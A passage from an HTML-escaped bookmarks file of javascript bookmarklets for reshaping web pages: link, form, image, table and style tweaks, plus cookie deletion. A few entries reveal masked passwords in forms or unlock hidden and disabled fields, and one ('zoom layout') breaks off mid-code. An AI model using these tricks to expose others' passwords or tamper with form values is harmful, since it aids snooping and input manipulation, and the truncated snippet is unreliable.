tn(e){e=e?e:window.event; open(this.href); focus(); return false;} var dl=document.links, i; for (i=0;i&lt;dl.length;++i) dl[i].onclick=tn; })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;target new bg windows&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var x,i,r=Math.random(); x=document.links; for(i=0;i&lt;x.length;++i) { x[i].target=r; } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;target one new window&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var k,x,t,i,j,p; for(k=0;x=document.links[k];k++){t=x.href.replace(/[%]3A/ig,':').replace(/[%]2f/ig,'/');i=t.lastIndexOf('http');if(i&gt;0){ t=t.substring(i); j=t.indexOf('&amp;'); if(j&gt;0)t=t.substring(0,j); p=/https?\:\/\/[^\s]*[^.,;'%22&gt;\s\)\]]/.exec(unescape(t)); if(p) x.href=p[0]; } else if (x.onmouseover&amp;&amp;x.onmouseout){x.onmouseover(); if (window.status &amp;&amp; window.status.indexOf('://')!=-1)x.href=window.status; x.onmouseout(); } x.onmouseover=null; x.onmouseout=null; }})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;remove redirects&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var i,c,x,h; for(i=0;x=document.links[i];++i) { h=x.href; x.title+=%22 %22 + x.innerHTML; while(c=x.firstChild)x.removeChild(c); x.appendChild(document.createTextNode(h)); } })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;full urls as link text&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var x,i; x = document.forms; for (i = 0; i &lt; x.length; ++i) x[i].method=%22get%22; alert(%22Changed %22 + x.length + %22 forms to use the GET method.  After submitting a form from this page, you should be able to bookmark the result.%22); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;frmget&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ function toggle(box){ temp=box.onchange; box.onchange=null; box.checked=!box.checked; box.onchange=temp; } var x,k,f,j; x=document.forms; for (k=0; k&lt;x.length; ++k) { f=x[k]; for (j=0;j&lt;f.length;++j) if (f[j].type.toLowerCase() == %22checkbox%22) toggle(f[j]); } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;toggle checkboxes&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ function rotate(es) { var i,n=es.length; for (i=0; i&lt;n; ++i) { if(es[i].checked) { es[(i+1) % n].checked=true; break; } } if (i==es.length) es[0].checked=true; }   var x,k,f,j,e,B,key; x=document.forms; for (k=0; f=x[k]; ++k) { B=[]; for (j=0;e=f[j];++j) if (e.type &amp;&amp; e.type.toLowerCase() == %22radio%22) { key=%22 %22+e.name; if (!B[key]) B[key]=[]; B[key].push(e); } for(key in B) rotate(B[key]) }})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;next option&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function down(){bmlRadioValue=this.checked;bmlRadioRef=this;} function click() {if((window.bmlRadioRef==this)&amp;&amp;window.bmlRadioValue) {this.checked=false;bmlRadioRef=null;}}function mU(radio){radio.onmousedown=down; radio.onkeydown=down;radio.onclick=click;}var x,k,f,j;x=document.forms;for (k=0;k&lt;x.length;++k){f=x[k];for(j=0;j&lt;f.length;++j)if(f[j].type.toLowerCase()==%22radio%22)mU(f[j]);}window.status=%22To unselect a selected option button, click on it or press spacebar.%22})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;allow no option&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var x,k,f,j;x=document.forms;for(k=0;k&lt;x.length;++k){f=x[k];for(j=0;j&lt;f.length;++j)f[j].removeAttribute(%22maxLength%22);}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;remove maxlength&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var i,x; for(i=0;x=document.getElementsByTagName(%22textarea%22)[i];++i) x.rows += 5; })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;enlarge textareas&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var i,f,j,e,div,label,ne; for(i=0;f=document.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22hidden%22){ D=document; function C(t){return D.createElement(t);} function A(a,b){a.appendChild(b);} div=C(%22div%22); label=C(%22label%22); A(div, label); A(label, D.createTextNode(e.name + %22: %22)); e.parentNode.insertBefore(div, e); e.parentNode.removeChild(e); ne=C(%22input%22);/*for ie*/ ne.type=%22text%22; ne.value=e.value; A(label, ne); label.style.MozOpacity=%22.6%22; --j;/*for moz*/}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;show hiddens&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var x,k,f,j;x=document.forms;for (k=0;k&lt;x.length;++k){f=x[k];for(j=0;j&lt;f.length;++j){f[j].disabled=false; f[j].readOnly=false;}}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;undisable&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var D=document,i,f,j,e;for(i=0;f=D.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22text%22||e.type==%22password%22||e.tagName.toLowerCase()==%22textarea%22)S(e);function S(e){if(!e.N){var x=D.createElement(%22span%22),s=x.style;s.color=%22green%22;s.background=%22white%22;s.font=%22bold 10pt sans-serif%22;s.verticalAlign=%22top%22;e.parentNode.insertBefore(x,e.nextSibling);function u(){x.innerHTML=e.value.length;}u();e.onchange=u;e.onkeyup=u;e.oninput=u;e.N=x;}else{e.parentNode.removeChild(e.N);e.N=0;}}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;character count&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var s,F,j,f,i; s = %22%22; F = document.forms; for(j=0; j&lt;F.length; ++j) { f = F[j]; for (i=0; i&lt;f.length; ++i) { if (f[i].type.toLowerCase() == %22password%22) s += f[i].value + %22\n%22; } } if (s) alert(%22Passwords in forms on this page:\n\n%22 + s); else alert(%22There are no passwords in forms on this page.%22);})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;view passwords&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var d=document,i,f,j,t,m,s,u,q;for(i=0;f=d.forms[i];++i)for(j=0;t=f[j];++j)if(t.tagName==%22TEXTAREA%22&amp;&amp;!t.htmlarea){t.htmlarea=1;t.style.display=%22none%22;m=d.createElement(%22div%22);m.contentEditable=true;m.innerHTML=t.value;s=m.style;s.overflow=%22scroll%22;s.width=500;s.height=250;s.border=%222px inset green%22;t.parentNode.insertBefore(m,t);u=U(m,t);setInterval(u,50);f.attachEvent(%22onsubmit%22,u);if(q=f.posttype)q.selectedIndex=1;}function U(m,t){return function(){t.value=m.innerHTML}}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;htmlarea ie&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ function zoomImage(image, amt) { if(image.initialHeight == null) { /* avoid accumulating integer-rounding error */ image.initialHeight=image.height; image.initialWidth=image.width; image.scalingFactor=1; } image.scalingFactor*=amt; image.width=image.scalingFactor*image.initialWidth; image.height=image.scalingFactor*image.initialHeight; } var i,L=document.images.length; for (i=0;i&lt;L;++i) zoomImage(document.images[i], 2); if (!L) alert(%22This page contains no images.%22); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zoom images in&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ function zoomImage(image, amt) { if(image.initialHeight == null) { /* avoid accumulating integer-rounding error */ image.initialHeight=image.height; image.initialWidth=image.width; image.scalingFactor=1; } image.scalingFactor*=amt; image.width=image.scalingFactor*image.initialWidth; image.height=image.scalingFactor*image.initialHeight; } var i,L=document.images.length; for (i=0;i&lt;L;++i) zoomImage(document.images[i],.5); if (!L) alert(%22This page contains no images.%22); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zoom images out&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:factor=Math.sqrt(2); if(!window.scale) { scale=1; zW=[]; zH=[]; unitless=/^[0-9.]+$/; function r(N) { w=N.width; h=N.height; if (unitless.test(w)) zW.push([N,w]); if (unitless.test(h)) zH.push([N,h]); var C=N.childNodes,i; for (i=0;i&lt;C.length;++i) r(C[i]); } r(document.body); } scale*=factor; for(i in zW) zW[i][0].width=zW[i][1]*scale; for(i in zH) zH[i][0].height = zH[i][1]*scale; [].v" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zoom layout&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ var d=open().document; d.title=%22Selection%22; if (window.getSelection) { /*Moz*/ var s = getSelection(); for(i=0; i&lt;s.rangeCount; ++i) { var a, r = s.getRangeAt(i); if (!r.collapsed) { var x = document.createElement(%22div%22); x.appendChild(r.cloneContents()); if (d.importNode) x = d.importNode(x, true); d.body.appendChild(x); } } } else { /*IE*/ d.body.innerHTML = document.selection.createRange().htmlText; } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;view selection&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:function toArray (c){var a, k;a=new Array;for (k=0; k&lt;c.length; ++k)a[k]=c[k];return a;}function insAtTop(par,child){if(par.childNodes.length) par.insertBefore(child, par.childNodes[0]);else par.appendChild(child);}function countCols(tab){var nCols, i;nCols=0;for(i=0;i&lt;tab.rows.length;++i)if(tab.rows[i].cells.length&gt;nCols)nCols=tab.rows[i].cells.length;return nCols;}function makeHeaderLink(tableNo, colNo, ord){var link;link=document.createElement('a');link.href='javascript:sortTable('+tableNo+','+colNo+','+ord+');';link.appendChild(document.createTextNode((ord&gt;0)?'a':'d'));return link;}function makeHeader(tableNo,nCols){var header, headerCell, i;header=document.createElement('tr');for(i=0;i&lt;nCols;++i){headerCell=document.createElement('td');headerCell.appendChild(makeHeaderLink(tableNo,i,1));headerCell.appendChild(document.createTextNode('/'));headerCell.appendChild(makeHeaderLink(tableNo,i,-1));header.appendChild(headerCell);}return header;}g_tables=toArray(document.getElementsByTagName('table'));if(!g_tables.length) alert(%22This page doesn't contain any tables.%22);(function(){var j, thead;for(j=0;j&lt;g_tables.length;++j){thead=g_tables[j].createTHead();insAtTop(thead, makeHeader(j,countCols(g_tables[j])))}}) ();function compareRows(a,b){if(a.sortKey==b.sortKey)return 0;return (a.sortKey &lt; b.sortKey) ? g_order : -g_order;}function sortTable(tableNo, colNo, ord){var table, rows, nR, bs, i, j, temp;g_order=ord;g_colNo=colNo;table=g_tables[tableNo];rows=new Array();nR=0;bs=table.tBodies;for(i=0; i&lt;bs.length; ++i)for(j=0; j&lt;bs[i].rows.length; ++j){rows[nR]=bs[i].rows[j];temp=rows[nR].cells[g_colNo];if(temp) rows[nR].sortKey=temp.innerHTML;else rows[nR].sortKey=%22%22;++nR;}rows.sort(compareRows);for (i=0; i &lt; rows.length; ++i)insAtTop(table.tBodies[0], rows[i]);}" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;sort table&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function has(par,ctag){for(var k=0;k&lt;par.childNodes.length;++k)if(par.childNodes[k].tagName==ctag)return true;} function add(par,ctag,text){var c=document.createElement(ctag); c.appendChild(document.createTextNode(text)); par.insertBefore(c,par.childNodes[0]);} var i,ts=document.getElementsByTagName(%22TABLE%22); for(i=0;i&lt;ts.length;++i) { var n=0,trs=ts[i].rows,j,tr; for(j=0;j&lt;trs.length;++j) {tr=trs[j]; if(has(tr,%22TD%22))add(tr,%22TD%22,++n); else if(has(tr,%22TH%22))add(tr,%22TH%22,%22Row%22);}}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;number rows&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var d=document,q=%22table%22,i,j,k,y,r,c,t;for(i=0;t=d.getElementsByTagName(q)[i];++i){var w=0,N=t.cloneNode(0);N.width=%22%22;N.height=%22%22;N.border=1;for(j=0;r=t.rows[j];++j)for(y=k=0;c=r.cells[k];++k){var z,a=c.rowSpan,b=c.colSpan,v=c.cloneNode(1);v.rowSpan=b;v.colSpan=a;v.width=%22%22;v.height=%22%22;if(!v.bgColor)v.bgColor=r.bgColor;while(w&lt;y+b)N.insertRow(w++).p=0;while(N.rows[y].p&gt;j)++y;N.rows[y].appendChild(v);for(z=0;z&lt;b;++z)N.rows[y+z].p+=a;y+=b;}t.parentNode.replaceChild(N,t);}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;transpose tables&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:uls=document.getElementsByTagName(%22ul%22); for (i=uls.length-1; i&gt;=0; --i) { oldul = uls[i]; newol = document.createElement(%22ol%22); for(j=0;j&lt;oldul.childNodes.length;++j) newol.appendChild(oldul.childNodes[j].cloneNode(true)); oldul.parentNode.replaceChild(newol, oldul); } void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;bullets to numbers&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var i,p,L,d,j,n; for(i=0; p=document.getElementsByTagName(%22pre%22)[i]; ++i) { L=p.innerHTML.split(%22\r\n%22); d=%22%22+L.length; for(j=0;j&lt;L.length;++j) { n = %22%22+(j+1)+%22. %22; while(n.length&lt;d.length+2) n=%220%22+n; L[j] = n + L[j]; } p.innerHTML=L.join(%22&lt;br&gt;%22);/*join with br for ie*/ } })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;number lines&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function R(w){try{var d=w.document,j,i,t,T,N,b,r=1,C;for(j=0;t=[%22object%22,%22embed%22,%22applet%22,%22iframe%22][j];++j){T=d.getElementsByTagName(t);for(i=T.length-1;(i+1)&amp;&amp;(N=T[i]);--i)if(j!=3||!R((C=N.contentWindow)?C:N.contentDocument.defaultView)){b=d.createElement(%22div%22);b.style.width=N.width; b.style.height=N.height;b.innerHTML=%22&lt;del&gt;%22+(j==3?%22third-party %22+t:t)+%22&lt;/del&gt;%22;N.parentNode.replaceChild(b,N);}}}catch(E){r=0}return r}R(self);var i,x;for(i=0;x=frames[i];++i)R(x)})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap plugins&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var newSS, styles='* { background: white ! important; color: black !important } :link, :link * { color: #0000EE !important } :visited, :visited * { color: #551A8B !important }'; if(document.createStyleSheet) { document.createStyleSheet(%22javascript:'%22+styles+%22'%22); } else { newSS=document.createElement('link'); newSS.rel='stylesheet'; newSS.href='data:text/css,'+escape(styles); document.getElementsByTagName(%22head%22)[0].appendChild(newSS); } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap colors&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var d=document; function K(N,w) { var nn = d.createElement(w), C = N.childNodes, i; for(i=C.length-1;i&gt;=0;--i) nn.insertBefore(C[i],nn.childNodes[0]); N.parentNode.replaceChild(nn,N); } function Z(t,w) { var T = document.getElementsByTagName(t), j; for (j=T.length-1;j&gt;=0;--j) K(T[j],w); } Z(%22blink%22, %22span%22); Z(%22marquee%22, %22div%22); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap cheap effects&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var H=[%22mouseover%22,%22mouseout%22,%22unload%22,%22resize%22],o=window.opera; if(document.addEventListener/*MOZ*/&amp;&amp;!o) for(j in H)document.addEventListener(H[j],function(e){e.stopPropagation();},true); else if(window.captureEvents/*NS4*/&amp;&amp;!o) { document.captureEvents(-1/*ALL*/);for(j in H)window[%22on%22+H[j]]=null;} else/*IE*/ {function R(N){var i,x;for(j in H)if(N[%22on%22+H[j]]/*NOT TEXTNODE*/)N[%22on%22+H[j]]=null;for(i=0;x=N.childNodes[i];++i)R(x);}R(document);}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap events&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function() { var c, tID, iID; tID = setTimeout(function(){}, 0); for (c=1; c&lt;1000 &amp;&amp; c&lt;=tID; ++c) clearTimeout(tID - c); iID = setInterval(function(){},1000); for (c=0; c&lt;1000 &amp;&amp; c&lt;=iID; ++c) clearInterval(iID - c); })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap timers&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function toArray (c){var a, k;a=new Array;for (k=0; k &lt; c.length; ++k)a[k]=c[k];return a;}var images, img, altText;images=toArray(document.images);for (var i=0; i &lt; images.length; ++i){img=images[i];altText=document.createTextNode(img.alt);img.parentNode.replaceChild(altText, img)}})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap images&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function linkIsSafe(h){return(!/^mailto:/.exec(h)&amp;&amp;!/^javascript:/.exec(h));} var i,x,h; for(i=0;x=document.getElementsByTagName('a')[i];i++) { h=x.innerHTML.toLowerCase(); if(h.indexOf('print')&gt;-1 &amp;&amp; h.indexOf('edition')==-1 &amp;&amp; h.indexOf('subscri')==-1 &amp;&amp; h.indexOf('reprint')==-1 &amp;&amp; h.indexOf('slogan')==-1 &amp;&amp; linkIsSafe(x.href)) { x.focus();location=x.href;return; }} alert(%22Can't find link to printer friendly version.%22);})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;printer friendly&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var H=[%22bgcolor%22,%22bgColor%22,%22background%22,%22color%22,%22align%22,%22text%22,%22alink%22,%22vlink%22],Y={FONT:1,CENTER:1},d=[],p; function R(N){var a,x,i,t; if(t=N.tagName){ t=t.toUpperCase(); for (i=0;a=H[i];++i)if(N.getAttribute(a))N.removeAttribute(a); for(i=0;x=N.childNodes[i];++i)R(x); if (Y[t])d.push(N); } } R(document.documentElement); for (i=0;N=d[i];++i) { p=N.parentNode; while(N.firstChild)p.insertBefore(N.firstChild,N); p.removeChild(N); } })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap presentational html&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var i,x;for(i=0;x=document.styleSheets[i];++i)x.disabled=true;})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap style sheets&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){C=document.cookie.split(%22; %22);for(d=%22.%22+location.host;d;d=(%22%22+d).substr(1).match(/\..*$/))for(sl=0;sl&lt;2;++sl)for(p=%22/%22+location.pathname;p;p=p.substring(0,p.lastIndexOf('/')))for(i in C)if(c=C[i]){document.cookie=c+%22; domain=%22+d.slice(sl)+%22; path=%22+p.slice(1)+%22/%22+%22; expires=%22+new Date((new Date).getTime()-1e11).toGMTString()}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap cookies&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function() { function R(a){ona = %22on%22+a; if(window.addEventListener) window.addEventListener(a, function (e) { for(var n=e.originalTarget; n; n=n.parentNode) n[ona]=null; }, true); window[ona]=null; document[ona]=null; if(document.body) document.body[ona]=null; } R(%22contextmenu%22); R(%22click%22); R(%22mousedown%22); R(%22mouseup%22); })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;restore context menu&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function() { function R(a){ona = %22on%22+a; if(window.addEventListener) window.addEventListener(a, function (e) { for(var n=e.originalTarget; n; n=n.parentNode) n[ona]=null; }, true); window[ona]=null; document[ona]=null; if(document.body) document.body[ona]=null; } R(%22click%22); R(%22mousedown%22); R(%22mouseup%22); R(%22selectstart%22); })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;restore selecting&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var k,x,t,i,j,p; for(k=0;x=document.links[k];k++){t=x.href.replace(/[%]3A/ig,':').replace(/[%]2f/ig,'/');i=t.lastIndexOf('http');if(i&gt;0){ t=t.substring(i); j=t.indexOf('&amp;'); if(j&gt;0)t=t.substring(0,j); p=/https?\:\/\/[^\s]*[^.,;'%22&gt;\s\)\]]/.exec(unescape(t)); if(p) x.href=p[0]; } else if (x.onmouseover&amp;&amp;x.onmouseout){x.onmouseover(); if (window.status &amp;&amp; window.status.indexOf('://')!=-1)x.href=window.status; x.onmouseout(); } x.onmouseover=null; x.onmouseout=null; }})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;remove redirects&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ var i,t,D=document; for(i=0;t=D.getElementsByTagName('textarea')[i];++i)t.value=t.value.toLowerCase();/*(in ie, text-transform only applies to first line of textarea)*/ var newSS,styles='*{text-transform:lowercase}input,textarea{text-transform:none}';if(D.createStyleSheet){D.createStyleSheet(%22javascript:'%22+styles+%22'%22);}else{newSS=D.createElement('link'); newSS.rel='stylesheet';newSS.href='data:text/css,'+escape(styles);D.getElementsByTagName(%22head%22)[0].appendChild(newSS);}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;lowercase&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ var T=( %22| 1 m /\\/\\ m |\\/| w \\/\\/ w |/\\| h |-| h |~| u |_| m |v| n |\\| n /\\/ d |) f |= h }{ i ][ j _| j _] k |&lt; k |{ l |_ p |&gt; p [* r |2 v \\/ x &gt;&lt; y `/ a @ a 4 b 8 e 3 g 6 g 9 o 0 s 5 s $ t + t 7%22 ).split(%22 %22),i,x,t; function R(t){t=t.toLowerCase();for(i=0;i&lt;T.length;i+=2)while(t.indexOf(T[i+1])!=-1)t=t.replace(T[i+1],T[i]);return t} function F(n,i){t=n.tagName;if(i=n.data)n.data=R(i);if(t!=%22SCRIPT%22&amp;&amp;t!=%22STYLE%22)for(i=0;x=n.childNodes[i];++i)F(x)} F(document) })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;deleet&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var D=document; F(D.body); function F(n){var u,r,c,x; if(n.nodeType==3){ u=n.data.search(/\S{45}/); if(u&gt;=0) { r=n.splitText(u+45); n.parentNode.insertBefore(D.createElement(%22WBR%22),r); } }else if(n.tagName!=%22STYLE%22 &amp;&amp; n.tagName!=%22SCRIPT%22){for (c=0;x=n.childNodes[c];++c){F(x);}} } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;force wrap&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function k(x) { if (x.onmouseover) { x.onmouseover(); x.backupmouseover = x.onmouseover; x.backupmouseout = x.onmouseout; x.onmouseover = null; x.onmouseout = null; } else if (x.backupmouseover) { x.onmouseover = x.backupmouseover; x.onmouseout = x.backupmouseout; x.onmouseover();/*for MM_swapImgRestore*/ x.onmouseout(); } } var i,x; for(i=0; x=document.links[i]; ++i) k(x); for (i=0; x=document.images[i]; ++i) k(x); })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;trigger rollovers&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function A(n,g){var p=n.parentNode,t=n.tagName;if(!p)return %22%22;if(!t)return A(p,g);var T=t.toUpperCase(),b=(T!=%22TABLE%22&amp;&amp;T!=%22TBODY%22&amp;&amp;T!=%22THEAD%22&amp;&amp;T!=%22TR%22),c=n.className,i=n.id;return A(p,' &gt; ')+(b?T:T.toLowerCase())+(c?%22.%22+c:%22%22)+(i?%22#%22+i:%22%22)+(b?g:' ');}document.onmouseover=function(e){e=e?e:event;var s,g=e.target;g=g?g:e.srcElement;try{s=A(g,'');}catch(err){s=err.message;}window.status=s;return true;};window.status=A(document.documentElement,'');})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;ancestors&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var i,x;for(i=0;x=document.styleSheets[i];++i)x.disabled=true;})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap style sheets&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var H=[%22bgcolor%22,%22bgColor%22,%22background%22,%22color%22,%22align%22,%22text%22,%22alink%22,%22vlink%22],Y={FONT:1,CENTER:1},d=[],p; function R(N){var a,x,i,t; if(t=N.tagName){ t=t.toUpperCase(); for (i=0;a=H[i];++i)if(N.getAttribute(a))N.removeAttribute(a); for(i=0;x=N.childNodes[i];++i)R(x); if (Y[t])d.push(N); } } R(document.documentElement); for (i=0;N=d[i];++i) { p=N.parentNode; while(N.firstChild)p.insertBefore(N.firstChild,N); p.removeChild(N); } })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap presentational html&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var a={},b=[],i,e,c,k,d,s=%22&lt;table border=1&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Tag&lt;/th&gt;&lt;th&gt;className&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;%22;for(i=0;e=document.getElementsByTagName(%22*%22)[i];++i)if(c=e.className){k=e.tagName+%22.%22+c;a[k]=a[k]?a[k]+1:1;}for(k in a)b.push([k,a[k]]);b.sort();for(i in b) s+=%22&lt;tr&gt;&lt;td&gt;%22+b[i][1]+%22&lt;/td&gt;&lt;td&gt;%22+b[i][0].split(%22.%22).join(%22&lt;/td&gt;&lt;td&gt;%22)+%22&lt;/td&gt;&lt;/tr&gt;%22;s+=%22&lt;/table&gt;%22;d=open().document;d.write(s);d.close();})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;list classes&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ function htmlEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/&gt;/g,'&amp;gt;');s=s.replace(/&lt;/g,'&amp;lt;');return s;} x=window.open(); x.document.write('&lt;pre&gt;' + htmlEscape('&lt;html&gt;\n' + document.documentElement.innerHTML + '\n&lt;/html&gt;')); x.document.close(); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;generated source&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var newSS; newSS=document.createElement(%22link%22); newSS.rel=%22stylesheet%22; newSS.type=%22text/css%22; newSS.href = %22http://www.cs.hmc.edu/~jruderma/block-structure.css%22; document.getElementsByTagName(%22head%22)[0].appendChild(newSS); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;show blocks&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var s=%22body%22,c=%22%22,I=%22 ! important;%22,i,b,f,x,h; for(i=0;i&lt;17;++i) { x = i.toString(16); b = i&gt;15?%22FCC%22:x+x+x; f = i&gt;9?%22000%22:%22FFF%22; c += s + %22 {background: #%22 + b + I + %22border-color: #%22 + b + I + %22color: #%22 + f + I + %22}\n%22; s += %22 *%22; } if(document.createStyleSheet) { document.createStyleSheet(%22javascript:'%22+c+%22'%22); } else { h=document.createElement('link'); h.rel='stylesheet'; h.href='data:text/css,'+escape(c); document.getElementsByTagName(%22head%22)[0].appendChild(h);}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;topographic view&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:function htmlEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/&gt;/g,'&amp;gt;');s=s.replace(/&lt;/g,'&amp;lt;');return s;} function 